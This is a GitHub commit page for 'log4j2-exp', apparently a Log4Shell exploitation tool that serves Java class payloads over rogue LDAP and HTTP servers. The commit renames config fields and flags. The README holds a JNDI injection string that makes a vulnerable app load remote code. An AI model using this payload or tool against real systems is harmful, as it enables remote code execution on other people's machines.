Skip to content

Commit cb4e0e0

Browse files
committed
rename Config.PayloadDir, update flag name about tls.
1 parent eedf315 commit cb4e0e0

File tree

5 files changed

+25
-26
lines changed

5 files changed

+25
-26
lines changed

README.md

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@
2323
* ```java -jar vulapp.jar ${jndi:ldap://127.0.0.1/calc.class}```
2424

2525
## Help
26-
```
26+
```
2727
::: :::::::: :::::::: ::: ::::::::::: ::::::::
2828
:+: :+: :+: :+: :+: :+: :+: :+: :+:
2929
+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
@@ -35,8 +35,6 @@
3535
https://github.com/For-ACGN/log4j2-exp
3636
3737
Usage of log4j2-exp.exe:
38-
-dir string
39-
payload(java class) directory (default "payload")
4038
-host string
4139
server IP address or domain name (default "127.0.0.1")
4240
-http-addr string
@@ -47,14 +45,15 @@ Usage of log4j2-exp.exe:
4745
ldap server address (default ":389")
4846
-ldap-net string
4947
ldap server network (default "tcp")
50-
-tls
51-
enable ldaps and https server
48+
-payload string
49+
payload(java class) directory (default "payload")
5250
-tls-cert string
5351
tls certificate file path (default "cert.pem")
5452
-tls-key string
5553
tls private key file path (default "key.pem")
54+
-tls-server
55+
enable ldaps and https server
5656
```
5757

58-
5958
## Screenshot
6059
![](https://github.com/For-ACGN/log4j2-exp/raw/main/screenshot.png)

cmd/main.go

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -22,12 +22,12 @@ func init() {
2222

2323
flag.CommandLine.SetOutput(os.Stdout)
2424
flag.StringVar(&cfg.Hostname, "host", "127.0.0.1", "server IP address or domain name")
25-
flag.StringVar(&cfg.ClassDirectory, "dir", "payload", "payload(java class) directory")
25+
flag.StringVar(&cfg.PayloadDir, "payload", "payload", "payload(java class) directory")
2626
flag.StringVar(&cfg.HTTPNetwork, "http-net", "tcp", "http server network")
2727
flag.StringVar(&cfg.HTTPAddress, "http-addr", ":8080", "http server address")
2828
flag.StringVar(&cfg.LDAPNetwork, "ldap-net", "tcp", "ldap server network")
2929
flag.StringVar(&cfg.LDAPAddress, "ldap-addr", ":389", "ldap server address")
30-
flag.BoolVar(&cfg.EnableTLS, "tls", false, "enable ldaps and https server")
30+
flag.BoolVar(&cfg.EnableTLS, "tls-server", false, "enable ldaps and https server")
3131
flag.StringVar(&crt, "tls-cert", "cert.pem", "tls certificate file path")
3232
flag.StringVar(&key, "tls-key", "key.pem", "tls private key file path")
3333
flag.Parse()
@@ -52,10 +52,10 @@ func main() {
5252
if cfg.Hostname == "" {
5353
log.Fatalln("[error]", "empty host name")
5454
}
55-
fi, err := os.Stat(cfg.ClassDirectory)
55+
fi, err := os.Stat(cfg.PayloadDir)
5656
checkError(err)
5757
if !fi.IsDir() {
58-
log.Fatalf("[error] \"%s\" is not a directory", cfg.ClassDirectory)
58+
log.Fatalf("[error] \"%s\" is not a directory", cfg.PayloadDir)
5959
}
6060
// load tls certificate
6161
if cfg.EnableTLS {

http.go

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -11,8 +11,8 @@ import (
1111
type httpHandler struct {
1212
logger *log.Logger
1313

14-
classDir string
15-
secret string
14+
payloadDir string
15+
secret string
1616
}
1717

1818
func (h *httpHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
@@ -49,14 +49,14 @@ func (h *httpHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
4949
// "/secret/Main.class/other.class" to "/secret/other.class"
5050
// path = strings.Replace(path, "Main.class", "", 1)
5151
// fmt.Println("path:", path)
52-
// path = filepath.Join(h.classDir, path)
52+
// path = filepath.Join(h.payloadDir, path)
5353

5454
idx := strings.LastIndex(path, "/")
5555
if idx == -1 {
5656
h.logger.Println("[error]", "invalid request url structure:", r.RequestURI)
5757
return
5858
}
59-
path = filepath.Join(h.classDir, path[:idx])
59+
path = filepath.Join(h.payloadDir, path[:idx])
6060

6161
// read file and send to client
6262
class, err := os.ReadFile(path)

log4j2.go

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -19,8 +19,8 @@ import (
1919
type Config struct {
2020
LogOut io.Writer
2121

22-
Hostname string
23-
ClassDirectory string
22+
Hostname string
23+
PayloadDir string
2424

2525
HTTPNetwork string
2626
HTTPAddress string
@@ -72,9 +72,9 @@ func New(cfg *Config) (*Log4j2, error) {
7272
return nil, errors.Wrap(err, "failed to create http listener")
7373
}
7474
httpHandler := httpHandler{
75-
logger: logger,
76-
classDir: cfg.ClassDirectory,
77-
secret: secret,
75+
logger: logger,
76+
payloadDir: cfg.PayloadDir,
77+
secret: secret,
7878
}
7979
httpServer := http.Server{
8080
Handler: &httpHandler,

log4j2_test.go

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -17,13 +17,13 @@ import (
1717

1818
func testGenerateConfig() *Config {
1919
return &Config{
20-
LogOut: os.Stdout,
21-
Hostname: "127.0.0.1",
22-
ClassDirectory: "testdata",
23-
HTTPNetwork: "tcp",
24-
HTTPAddress: "127.0.0.1:8088",
25-
LDAPNetwork: "tcp",
26-
LDAPAddress: "127.0.0.1:389",
20+
LogOut: os.Stdout,
21+
Hostname: "127.0.0.1",
22+
PayloadDir: "testdata",
23+
HTTPNetwork: "tcp",
24+
HTTPAddress: "127.0.0.1:8088",
25+
LDAPNetwork: "tcp",
26+
LDAPAddress: "127.0.0.1:389",
2727
}
2828
}
2929

0 commit comments

Comments
 (0)